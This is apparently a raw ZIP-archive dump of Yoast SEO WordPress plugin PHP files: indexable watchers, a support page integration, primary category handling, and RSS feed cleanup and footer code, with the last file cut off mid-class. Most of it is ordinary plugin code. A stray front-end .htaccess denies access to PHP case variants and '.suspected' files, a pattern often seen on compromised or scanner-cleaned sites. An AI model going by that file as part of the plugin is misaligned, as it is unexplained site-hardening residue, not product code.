		if ( $main_taxonomy !== $taxonomy ) {
			return;
		}

		$primary_category = $this->get_primary_term_id( $post->ID, $main_taxonomy );
		if ( $primary_category === false ) {
			return;
		}

		// The primary category isn't removed.
		if ( \in_array( (string) $primary_category, $tt_ids, true ) ) {
			return;
		}

		$this->remove_primary_term( $post->ID, $main_taxonomy );

		// Rebuild the post hierarchy for this post now the primary term has been changed.
		$this->build_post_hierarchy( $post );
	}

	/**
	 * Returns the primary term id of a post.
	 *
	 * @param int    $post_id       The post ID.
	 * @param string $main_taxonomy The main taxonomy.
	 *
	 * @return int|false The ID of the primary term, or `false` if the post ID is invalid.
	 */
	private function get_primary_term_id( $post_id, $main_taxonomy ) {
		$primary_term = $this->primary_term_repository->find_by_post_id_and_taxonomy( $post_id, $main_taxonomy, false );

		if ( $primary_term ) {
			return $primary_term->term_id;
		}

		return \get_post_meta( $post_id, WPSEO_Meta::$meta_prefix . 'primary_' . $main_taxonomy, true );
	}

	/**
	 * Removes the primary category.
	 *
	 * @param int    $post_id       The post id to set primary taxonomy for.
	 * @param string $main_taxonomy Name of the taxonomy that is set to be the primary one.
	 *
	 * @return void
	 */
	private function remove_primary_term( $post_id, $main_taxonomy ) {
		$primary_term = $this->primary_term_repository->find_by_post_id_and_taxonomy( $post_id, $main_taxonomy, false );
		if ( $primary_term ) {
			$primary_term->delete();
		}

		// Remove it from the post meta.
		\delete_post_meta( $post_id, WPSEO_Meta::$meta_prefix . 'primary_' . $main_taxonomy );
	}

	/**
	 * Builds the hierarchy for a post.
	 *
	 * @param WP_Post $post The post.
	 *
	 * @return void
	 */
	public function build_post_hierarchy( $post ) {
		if ( $this->post_type_helper->is_excluded( $post->post_type ) ) {
			return;
		}

		$indexable = $this->indexable_repository->find_by_id_and_type( $post->ID, 'post' );

		if ( $indexable instanceof Indexable ) {
			$this->indexable_hierarchy_builder->build( $indexable );
		}
	}
}
PK       ! VoE
  
  +  watchers/indexable-date-archive-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Date archive watcher to save the meta data to an indexable.
 *
 * Watches the date archive options to save the meta information when updated.
 */
class Indexable_Date_Archive_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Date_Archive_Watcher constructor.
	 *
	 * @param Indexable_Repository $repository The repository to use.
	 * @param Indexable_Builder    $builder    The date archive builder to use.
	 */
	public function __construct( Indexable_Repository $repository, Indexable_Builder $builder ) {
		$this->repository = $repository;
		$this->builder    = $builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 );
	}

	/**
	 * Checks if the date archive indexable needs to be rebuild based on option values.
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return void
	 */
	public function check_option( $old_value, $new_value ) {
		$relevant_keys = [ 'title-archive-wpseo', 'breadcrumbs-archiveprefix', 'metadesc-archive-wpseo', 'noindex-archive-wpseo' ];

		foreach ( $relevant_keys as $key ) {
			// If both values aren't set they haven't changed.
			if ( ! isset( $old_value[ $key ] ) && ! isset( $new_value[ $key ] ) ) {
				continue;
			}

			// If the value was set but now isn't, is set but wasn't or is not the same it has changed.
			if ( ! isset( $old_value[ $key ] ) || ! isset( $new_value[ $key ] ) || $old_value[ $key ] !== $new_value[ $key ] ) {
				$this->build_indexable();
				return;
			}
		}
	}

	/**
	 * Saves the date archive.
	 *
	 * @return void
	 */
	public function build_indexable() {
		$indexable = $this->repository->find_for_date_archive( false );
		$this->builder->build_for_date_archive( $indexable );
	}
}
PK       ! C{6  6  (  watchers/indexable-home-page-watcher.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Home page watcher to save the meta data to an Indexable.
 *
 * Watches the home page options to save the meta information when updated.
 */
class Indexable_Home_Page_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Home_Page_Watcher constructor.
	 *
	 * @param Indexable_Repository $repository       The repository to use.
	 * @param Indexable_Helper     $indexable_helper The indexable helper.
	 * @param Indexable_Builder    $builder          The post builder to use.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Indexable_Helper $indexable_helper,
		Indexable_Builder $builder
	) {
		$this->repository       = $repository;
		$this->indexable_helper = $indexable_helper;
		$this->builder          = $builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 15, 3 );
		\add_action( 'update_option_wpseo_social', [ $this, 'check_option' ], 15, 3 );
		\add_action( 'update_option_blog_public', [ $this, 'build_indexable' ] );
		\add_action( 'update_option_blogdescription', [ $this, 'build_indexable' ] );
	}

	/**
	 * Checks if the home page indexable needs to be rebuild based on option values.
	 *
	 * @param array  $old_value The old value of the option.
	 * @param array  $new_value The new value of the option.
	 * @param string $option    The name of the option.
	 *
	 * @return void
	 */
	public function check_option( $old_value, $new_value, $option ) {
		$relevant_keys = [
			'wpseo_titles' => [
				'title-home-wpseo',
				'breadcrumbs-home',
				'metadesc-home-wpseo',
				'open_graph_frontpage_title',
				'open_graph_frontpage_desc',
				'open_graph_frontpage_image',
			],
		];

		if ( ! isset( $relevant_keys[ $option ] ) ) {
			return;
		}

		foreach ( $relevant_keys[ $option ] as $key ) {
			// If both values aren't set they haven't changed.
			if ( ! isset( $old_value[ $key ] ) && ! isset( $new_value[ $key ] ) ) {
				continue;
			}

			// If the value was set but now isn't, is set but wasn't or is not the same it has changed.
			if ( ! isset( $old_value[ $key ] ) || ! isset( $new_value[ $key ] ) || $old_value[ $key ] !== $new_value[ $key ] ) {
				$this->build_indexable();
				return;
			}
		}
	}

	/**
	 * Saves the home page.
	 *
	 * @return void
	 */
	public function build_indexable() {
		$indexable = $this->repository->find_for_home_page( false );

		if ( $indexable === false && ! $this->indexable_helper->should_index_indexables() ) {
			return;
		}

		$indexable = $this->builder->build_for_home_page( $indexable );

		if ( $indexable ) {
			$indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) );
			$indexable->save();
		}
	}
}
PK       ! 	U      support-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Class Support_Integration.
 */
class Support_Integration implements Integration_Interface {

	public const PAGE = 'wpseo_page_support';

	public const CAPABILITY = 'wpseo_manage_options';

	/**
	 * Holds the WPSEO_Admin_Asset_Manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * Holds the Current_Page_Helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * Holds the Product_Helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Holds the Short_Link_Helper.
	 *
	 * @var Short_Link_Helper
	 */
	private $shortlink_helper;

	/**
	 * Constructs Support_Integration.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager       The WPSEO_Admin_Asset_Manager.
	 * @param Current_Page_Helper       $current_page_helper The Current_Page_Helper.
	 * @param Product_Helper            $product_helper      The Product_Helper.
	 * @param Short_Link_Helper         $shortlink_helper    The Short_Link_Helper.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Current_Page_Helper $current_page_helper,
		Product_Helper $product_helper,
		Short_Link_Helper $shortlink_helper
	) {
		$this->asset_manager       = $asset_manager;
		$this->current_page_helper = $current_page_helper;
		$this->product_helper      = $product_helper;
		$this->shortlink_helper    = $shortlink_helper;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class, User_Can_Manage_Wpseo_Options_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Add page.
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ], \PHP_INT_MAX );

		// Are we on the settings page?
		if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
			\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
			\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
		}
	}

	/**
	 * Adds the page.
	 *
	 * @param array $pages The pages.
	 *
	 * @return array The pages.
	 */
	public function add_page( $pages ) {
		$pages[] = [
			'wpseo_dashboard',
			'',
			\__( 'Support', 'wordpress-seo' ),
			self::CAPABILITY,
			self::PAGE,
			[ $this, 'display_page' ],
		];

		return $pages;
	}

	/**
	 * Displays the page.
	 *
	 * @return void
	 */
	public function display_page() {
		echo '<div id="yoast-seo-support"></div>';
	}

	/**
	 * Enqueues the assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// Remove the emoji script as it is incompatible with both React and any contenteditable fields.
		\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
		$this->asset_manager->enqueue_script( 'support' );
		$this->asset_manager->enqueue_style( 'support' );
		if ( \YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) {
			$this->asset_manager->enqueue_style( 'black-friday-banner' );
		}
		$this->asset_manager->localize_script( 'support', 'wpseoScriptData', $this->get_script_data() );
	}

	/**
	 * Removes all current WP notices.
	 *
	 * @return void
	 */
	public function remove_notices() {
		\remove_all_actions( 'admin_notices' );
		\remove_all_actions( 'user_admin_notices' );
		\remove_all_actions( 'network_admin_notices' );
		\remove_all_actions( 'all_admin_notices' );
	}

	/**
	 * Creates the script data.
	 *
	 * @return array The script data.
	 */
	public function get_script_data() {
		return [
			'preferences'       => [
				'isPremium'      => $this->product_helper->is_premium(),
				'isRtl'          => \is_rtl(),
				'pluginUrl'      => \plugins_url( '', \WPSEO_FILE ),
				'upsellSettings' => [
					'actionId'     => 'load-nfd-ctb',
					'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2',
				],
			],
			'linkParams'        => $this->shortlink_helper->get_query_params(),
			'currentPromotions' => \YoastSEO()->classes->get( Promotion_Manager::class )->get_current_promotions(),
		];
	}
}
PK       ! o'"      primary-category.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations;

use stdClass;
use WP_Error;
use WP_Post;
use WPSEO_Primary_Term;
use Yoast\WP\SEO\Conditionals\Primary_Category_Conditional;

/**
 * Adds customizations to the front end for the primary category.
 */
class Primary_Category implements Integration_Interface {

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * In this case only when on the frontend, the post overview, post edit or new post admin page.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ Primary_Category_Conditional::class ];
	}

	/**
	 * Registers a filter to change a post's primary category.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'post_link_category', [ $this, 'post_link_category' ], 10, 3 );
	}

	/**
	 * Filters post_link_category to change the category to the chosen category by the user.
	 *
	 * @param stdClass     $category   The category that is now used for the post link.
	 * @param array|null   $categories This parameter is not used.
	 * @param WP_Post|null $post       The post in question.
	 *
	 * @return array|object|WP_Error|null The category we want to use for the post link.
	 */
	public function post_link_category( $category, $categories = null, $post = null ) {
		$post = \get_post( $post );
		if ( $post === null ) {
			return $category;
		}

		$primary_category = $this->get_primary_category( $post );
		if ( $primary_category !== false && $primary_category !== $category->cat_ID ) {
			$category = \get_category( $primary_category );
		}

		return $category;
	}

	/**
	 * Get the id of the primary category.
	 *
	 * @codeCoverageIgnore It justs wraps a dependency.
	 *
	 * @param WP_Post $post The post in question.
	 *
	 * @return int Primary category id.
	 */
	protected function get_primary_category( $post ) {
		$primary_term = new WPSEO_Primary_Term( 'category', $post->ID );

		return $primary_term->get_primary_term();
	}
}
PK       !       front-end/crawl-cleanup-rss.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Adds actions that cleanup unwanted rss feed links.
 */
class Crawl_Cleanup_Rss implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Crawl Cleanup RSS integration constructor.
	 *
	 * @param Options_Helper $options_helper The option helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Register our RSS related hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->is_true( 'remove_feed_global' ) ) {
			\add_filter( 'feed_links_show_posts_feed', '__return_false' );
		}

		if ( $this->is_true( 'remove_feed_global_comments' ) ) {
			\add_filter( 'feed_links_show_comments_feed', '__return_false' );
		}

		\add_action( 'wp', [ $this, 'maybe_disable_feeds' ] );
		\add_action( 'wp', [ $this, 'maybe_redirect_feeds' ], -10000 );
	}

	/**
	 * Disable feeds on selected cases.
	 *
	 * @return void
	 */
	public function maybe_disable_feeds() {
		if ( $this->is_true( 'remove_feed_post_comments' ) ) {
			\add_filter( 'feed_links_extra_show_post_comments_feed', '__return_false' );
		}
		if ( $this->is_true( 'remove_feed_authors' ) ) {
			\add_filter( 'feed_links_extra_show_author_feed', '__return_false' );
		}
		if ( $this->is_true( 'remove_feed_categories' ) ) {
			\add_filter( 'feed_links_extra_show_category_feed', '__return_false' );
		}
		if ( $this->is_true( 'remove_feed_tags' ) ) {
			\add_filter( 'feed_links_extra_show_tag_feed', '__return_false' );
		}
		if ( $this->is_true( 'remove_feed_custom_taxonomies' ) ) {
			\add_filter( 'feed_links_extra_show_tax_feed', '__return_false' );
		}
		if ( $this->is_true( 'remove_feed_post_types' ) ) {
			\add_filter( 'feed_links_extra_show_post_type_archive_feed', '__return_false' );
		}
		if ( $this->is_true( 'remove_feed_search' ) ) {
			\add_filter( 'feed_links_extra_show_search_feed', '__return_false' );
		}
	}

	/**
	 * Redirect feeds we don't want away.
	 *
	 * @return void
	 */
	public function maybe_redirect_feeds() {
		global $wp_query;

		if ( ! \is_feed() ) {
			return;
		}

		if ( \in_array( \get_query_var( 'feed' ), [ 'atom', 'rdf' ], true ) && $this->is_true( 'remove_atom_rdf_feeds' ) ) {
			$this->redirect_feed( \home_url(), 'We disable Atom/RDF feeds for performance reasons.' );
		}

		// Only if we're on the global feed, the query is _just_ `'feed' => 'feed'`, hence this check.
		if ( ( $wp_query->query === [ 'feed' => 'feed' ]
			|| $wp_query->query === [ 'feed' => 'atom' ]
			|| $wp_query->query === [ 'feed' => 'rdf' ] )
			&& $this->is_true( 'remove_feed_global' ) ) {
			$this->redirect_feed( \home_url(), 'We disable the RSS feed for performance reasons.' );
		}

		if ( \is_comment_feed() && ! ( \is_singular() || \is_attachment() ) && $this->is_true( 'remove_feed_global_comments' ) ) {
			$this->redirect_feed( \home_url(), 'We disable comment feeds for performance reasons.' );
		}
		elseif ( \is_comment_feed()
				&& \is_singular()
				&& ( $this->is_true( 'remove_feed_post_comments' ) || $this->is_true( 'remove_feed_global_comments' ) ) ) {
			$url = \get_permalink( \get_queried_object() );
			$this->redirect_feed( $url, 'We disable post comment feeds for performance reasons.' );
		}

		if ( \is_author() && $this->is_true( 'remove_feed_authors' ) ) {
			$author_id = (int) \get_query_var( 'author' );
			$url       = \get_author_posts_url( $author_id );
			$this->redirect_feed( $url, 'We disable author feeds for performance reasons.' );
		}

		if ( ( \is_category() && $this->is_true( 'remove_feed_categories' ) )
			|| ( \is_tag() && $this->is_true( 'remove_feed_tags' ) )
			|| ( \is_tax() && $this->is_true( 'remove_feed_custom_taxonomies' ) ) ) {
			$term = \get_queried_object();
			$url  = \get_term_link( $term, $term->taxonomy );
			if ( \is_wp_error( $url ) ) {
				$url = \home_url();
			}
			$this->redirect_feed( $url, 'We disable taxonomy feeds for performance reasons.' );
		}

		if ( ( \is_post_type_archive() ) && $this->is_true( 'remove_feed_post_types' ) ) {
			$url = \get_post_type_archive_link( $this->get_queried_post_type() );
			$this->redirect_feed( $url, 'We disable post type feeds for performance reasons.' );
		}

		if ( \is_search() && $this->is_true( 'remove_feed_search' ) ) {
			$url = \trailingslashit( \home_url() ) . '?s=' . \get_search_query();
			$this->redirect_feed( $url, 'We disable search RSS feeds for performance reasons.' );
		}
	}

	/**
	 * Sends a cache control header.
	 *
	 * @param int $expiration The expiration time.
	 *
	 * @return void
	 */
	public function cache_control_header( $expiration ) {
		\header_remove( 'Expires' );

		// The cacheability of the current request. 'public' allows caching, 'private' would not allow caching by proxies like CloudFlare.
		$cacheability = 'public';
		$format       = '%1$s, max-age=%2$d, s-maxage=%2$d, stale-while-revalidate=120, stale-if-error=14400';

		if ( \is_user_logged_in() ) {
			$expiration   = 0;
			$cacheability = 'private';
			$format       = '%1$s, max-age=%2$d';
		}

		\header( \sprintf( 'Cache-Control: ' . $format, $cacheability, $expiration ), true );
	}

	/**
	 * Redirect a feed result to somewhere else.
	 *
	 * @param string $url    The location we're redirecting to.
	 * @param string $reason The reason we're redirecting.
	 *
	 * @return void
	 */
	private function redirect_feed( $url, $reason ) {
		\header_remove( 'Content-Type' );
		\header_remove( 'Last-Modified' );

		$this->cache_control_header( 7 * \DAY_IN_SECONDS );

		\wp_safe_redirect( $url, 301, 'Yoast SEO: ' . $reason );
		exit;
	}

	/**
	 * Retrieves the queried post type.
	 *
	 * @return string The queried post type.
	 */
	private function get_queried_post_type() {
		$post_type = \get_query_var( 'post_type' );
		if ( \is_array( $post_type ) ) {
			$post_type = \reset( $post_type );
		}
		return $post_type;
	}

	/**
	 * Checks if the value of an option is set to true.
	 *
	 * @param string $option_name The option name.
	 *
	 * @return bool
	 */
	private function is_true( $option_name ) {
		return $this->options_helper->get( $option_name ) === true;
	}
}
PK       ! i      front-end/feed-improvements.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Surfaces\Meta_Surface;

/**
 * Class Feed_Improvements
 */
class Feed_Improvements implements Integration_Interface {

	/**
	 * Holds the options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Holds the meta helper surface.
	 *
	 * @var Meta_Surface
	 */
	private $meta;

	/**
	 * Canonical_Header constructor.
	 *
	 * @codeCoverageIgnore It only sets depedencies.
	 *
	 * @param Options_Helper $options The options helper.
	 * @param Meta_Surface   $meta    The meta surface.
	 */
	public function __construct(
		Options_Helper $options,
		Meta_Surface $meta
	) {
		$this->options = $options;
		$this->meta    = $meta;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Registers hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'get_bloginfo_rss', [ $this, 'filter_bloginfo_rss' ], 10, 2 );
		\add_filter( 'document_title_separator', [ $this, 'filter_document_title_separator' ] );

		\add_action( 'do_feed_rss', [ $this, 'handle_rss_feed' ], 9 );
		\add_action( 'do_feed_rss2', [ $this, 'send_canonical_header' ], 9 );
		\add_action( 'do_feed_rss2', [ $this, 'add_robots_headers' ], 9 );
	}

	/**
	 * Filter `bloginfo_rss` output to give the URL for what's being shown instead of just always the homepage.
	 *
	 * @param string $show The output so far.
	 * @param string $what What is being shown.
	 *
	 * @return string
	 */
	public function filter_bloginfo_rss( $show, $what ) {
		if ( $what === 'url' ) {
			return $this->get_url_for_queried_object( $show );
		}

		return $show;
	}

	/**
	 * Makes sure send canonical header always runs, because this RSS hook does not support the for_comments parameter
	 *
	 * @return void
	 */
	public function handle_rss_feed() {
		$this->send_canonical_header( false );
	}

	/**
	 * Adds a canonical link header to the main canonical URL for the requested feed object. If it is not a comment
	 * feed.
	 *
	 * @param bool $for_comments If the RRS feed is meant for a comment feed.
	 *
	 * @return void
	 */
	public function send_canonical_header( $for_comments ) {

		if ( $for_comments || \headers_sent() ) {
			return;
		}

		$queried_object = \get_queried_object();
		// Don't call get_class with null. This gives a warning.
		$class = ( $queried_object !== null ) ? \get_class( $queried_object ) : null;

		$url = $this->get_url_for_queried_object( $this->meta->for_home_page()->canonical );
		if ( ( ! empty( $url ) && $url !== $this->meta->for_home_page()->canonical ) || $class === null ) {
			\header( \sprintf( 'Link: <%s>; rel="canonical"', $url ), false );
		}
	}

	/**
	 * Adds noindex, follow tag for comment feeds.
	 *
	 * @param bool $for_comments If the RSS feed is meant for a comment feed.
	 *
	 * @return void
	 */
	public function add_robots_headers( $for_comments ) {
		if ( $for_comments && ! \headers_sent() ) {
			\header( 'X-Robots-Tag: noindex, follow', true );
		}
	}

	/**
	 * Makes sure the title separator set in Yoast SEO is used for all feeds.
	 *
	 * @param string $separator The separator from WordPress.
	 *
	 * @return string The separator from Yoast SEO's settings.
	 */
	public function filter_document_title_separator( $separator ) {
		return \html_entity_decode( $this->options->get_title_separator() );
	}

	/**
	 * Determines the main URL for the queried object.
	 *
	 * @param string $url The URL determined so far.
	 *
	 * @return string The canonical URL for the queried object.
	 */
	protected function get_url_for_queried_object( $url = '' ) {
		$queried_object = \get_queried_object();
		// Don't call get_class with null. This gives a warning.
		$class = ( $queried_object !== null ) ? \get_class( $queried_object ) : null;
		$meta  = false;

		switch ( $class ) {
			// Post type archive feeds.
			case 'WP_Post_Type':
				$meta = $this->meta->for_post_type_archive( $queried_object->name );
				break;
			// Post comment feeds.
			case 'WP_Post':
				$meta = $this->meta->for_post( $queried_object->ID );
				break;
			// Term feeds.
			case 'WP_Term':
				$meta = $this->meta->for_term( $queried_object->term_id );
				break;
			// Author feeds.
			case 'WP_User':
				$meta = $this->meta->for_author( $queried_object->ID );
				break;
			// This would be NULL on the home page and on date archive feeds.
			case null:
				$meta = $this->meta->for_home_page();
				break;
			default:
				break;
		}

		if ( $meta ) {
			return $meta->canonical;
		}

		return $url;
	}
}
PK       ! `,խ      front-end/rss-footer-embed.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class RSS_Footer_Embed.
 */
class RSS_Footer_Embed implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Sets the required helpers.
	 *
	 * @codeCoverageIgnore It only handles dependencies.
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'the_content_feed', [ $this, 'embed_rssfooter' ] );
		\add_filter( 'the_excerpt_rss', [ $this, 'embed_rssfooter_excerpt' ] );
	}

	/**
	 * Adds the RSS footer (or header) to the full RSS feed item.
	 *
	 * @param string $content Feed item content.
	 *
	 * @return string
	 */
	public function embed_rssfooter( $content ) {
		if ( ! $this->include_rss_footer( 'full' ) ) {
			return $content;
		}

		return $this->embed_rss( $content );
	}

	/**
	 * Adds the RSS footer (or header) to the excerpt RSS feed item.
	 *
	 * @param string $content Feed item excerpt.
	 *
	 * @return string
	 */
	public function embed_rssfooter_excerpt( $content ) {
		if ( ! $this->include_rss_footer( 'excerpt' ) ) {
			return $content;
		}

		return $this->embed_rss( \wpautop( $content ) );
	}

	/**
	 * Checks if the RSS footer should included.
	 *
	 * @param string $context The context of the RSS content.
	 *
	 * @return bool Whether or not the RSS footer should included.
	 */
	protected function include_rss_footer( $context ) {
		if ( ! \is_feed() ) {
			return false;
		}

		/**
		 * Filter: 'wpseo_include_rss_footer' - Allow the RSS footer to be dynamically shown/hidden.
		 *
		 * @param bool   $show_embed Indicates if the RSS footer should be shown or not.
		 * @param string $context    The context of the RSS content - 'full' or 'excerpt'.
		 */
		if ( ! \apply_filters( 'wpseo_include_rss_footer', true, $context ) ) {
			return false;
		}

		return $this->is_configured();
	}

	/**
	 * Checks if the RSS feed fields are configured.
	 *
	 * @return bool True when one of the fields has a value.
	 */
	protected function is_configured() {
		return ( $this->options->get( 'rssbefore', '' ) !== '' || $this->options->get( 'rssafter', '' ) );
	}

	/**
	 * Adds the RSS footer and/or header to an RSS feed item.
	 *
	 * @param string $content Feed item content.
	 *
	 * @return string The content to add.
	 */
	protected function embed_rss( $content ) {
		$before  = $this->rss_replace_vars( $this->options->get( 'rssbefore', '' ) );
		$after   = $this->rss_replace_vars( $this->options->get( 'rssafter', '' ) );
		$content = $before . $content . $after;

		return $content;
	}

	/**
	 * Replaces the possible RSS variables with their actual values.
	 *
	 * @param string $content The RSS content that should have the variables replaced.
	 *
	 * @return string
	 */
	protected function rss_replace_vars( $content ) {
		if ( $content === '' ) {
			return $content;
		}

		$replace_vars = $this->get_replace_vars( $this->get_link_template(), \get_post() );

		$content = \stripslashes( \trim( $content ) );
		$content = \str_ireplace( \array_keys( $replace_vars ), \array_values( $replace_vars ), $content );

		return \wpautop( $content );
	}

	/**
	 * Retrieves the replacement variables.
	 *
	 * @codeCoverageIgnore It just contains too much WordPress functions.
	 *
	 * @param string $link_template The link template.
	 * @param mixed  $post          The post to use.
	 *
	 * @return array The replacement variables.
	 */
	protected function get_replace_vars( $link_template, $post ) {
		$author_link = '';
		if ( \is_object( $post ) ) {
			$author_link = \sprintf( $link_template, \esc_url( \get_author_posts_url( $post->post_author ) ), \esc_html( \get_the_author() ) );
		}

		return [
			'%%AUTHORLINK%%'   => $author_link,
			'%%POSTLINK%%'     => \sprintf( $link_template, \esc_url( \get_permalink() ), \esc_html( \get_the_title() ) ),
			'%%BLOGLINK%%'     => \sprintf( $link_template, \esc_url( \get_bloginfo( 'url' ) ), \esc_html( \get_bloginfo( 'name' ) ) ),
			'%%BLOGDESCLINK%%' => \sprintf( $link_template, \esc_url( \get_bloginfo( 'url' ) ), \esc_html( \get_bloginfo( 'name' ) ) . ' - ' . \esc_html( \get_bloginfo( 'description' ) ) ),
		];
	}

	/**
	 * Retrieves the link template.
	 *
	 * @return string The link template.
	 */
	protected function get_link_template() {
		/**
		 * Filter: 'nofollow_rss_links' - Allow the developer to determine whether or not to follow the links in
		 * the bits Yoast SEO adds to the RSS feed, defaults to false.
		 *
		 * @since 1.4.20
		 *
		 * @param bool $unsigned Whether or not to follow the links in RSS feed, defaults to true.
		 */
		if ( \apply_filters( 'nofollow_rss_links', false ) ) {
			return '<a rel="nofollow" href="%1$s">%2$s</a>';
		}

		return '<a href="%1$s">%2$s</a>';
	}
}
PK       ! )        front-end/.htaccessnu 6$        <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK       ! ꍐ~  ~  $  front-end/robots-txt-integration.phpnu [        <?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use WPSEO_Sitemaps_Router;
use Yoast\WP\SEO\Conditionals\Robots_Txt_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Robots_Txt_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Robots_Txt_Presenter;

/**
 * Handles adding the sitemap to the `robots.txt`.
 */
class Robots_Txt_Integration implements Integration_Interface {

	/**
	 * Holds the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Holds the robots txt helper.
	 *
	 * @var Robots_Txt_Helper
	 */
	protected $robots_txt_helper;

	/**
	 * Holds the robots txt presenter.
	 *
	 * @var Robots_Txt_Presenter
	 */
	protected $robots_txt_presenter;

